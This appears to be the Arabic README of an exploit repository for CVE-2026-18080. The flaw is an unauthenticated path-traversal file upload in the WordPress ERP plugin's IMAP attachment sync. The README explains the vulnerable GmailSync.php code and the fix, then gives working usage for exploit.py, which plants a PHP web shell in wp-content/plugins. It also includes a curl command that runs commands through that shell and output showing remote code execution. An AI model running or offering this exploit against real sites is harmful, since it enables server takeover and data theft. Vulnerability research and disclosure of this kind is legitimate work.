
استغلال لثغرة CVE-2026-18080، وهي رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ أوامر عن بُعد (RCE) في حزمة ERP Complete HR, Accounting & CRM Suite. يتضمن نصوصًا برمجية بلغة Python وPHP للاستغلال الآلي.
| الحقل | القيمة |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| التصحيح | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (حرج) |
| CWE | CWE-434 (رفع ملف غير مقيد بنوع خطير) |
| المتأثر | إصدارات إضافة ERP <= 1.17.7 (تم الإصلاح في 1.17.8) |
تعالج دالة save_attachments() في ملف GmailSync.php الخاصة بإضافة ERP المرفقات الواردة عبر البريد الإلكتروني من IMAP دون تطبيع المسار. يمكن للمهاجم صياغة بريد إلكتروني باسم ملف مثل ../../plugins/shell.php مع ترويسة References مزورة تطابق النمط المتوقع للإضافة. تقوم مهمة مزامنة IMAP المجدولة بكتابة الملف خارج دليل crm-attachments/ المحمي بـ .htaccess إلى أي مسار قابل للكتابة تحت wp-content/.
في GmailSync.php (الإصدار 1.17.7):
$name = $item['name']; // لا يوجد basename() أو تطبيع للمسار
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
اسم الملف ../../plugins/shell.php المتسلسل مع $dir (wp-content/uploads/crm-attachments/) يُحل إلى wp-content/plugins/shell.php — وهو دليل يُسمح فيه بتنفيذ PHP.
يضيف الإصلاح (الإصدار 1.17.8) دالة sanitize_attachment_filename() التي تزيل مكونات المسار عبر basename()، وترفض فواصل المسار، وتمنع الامتدادات الخطيرة.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
بعد الرفع الناجح:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| الملف | الوصف |
|---|---|
exploit.py | سكربت استغلال بلغة Python يستخدم wp-cli |
exploit.php | استغلال PHP مستقل لـ wp eval-file |
README.md | هذا الملف |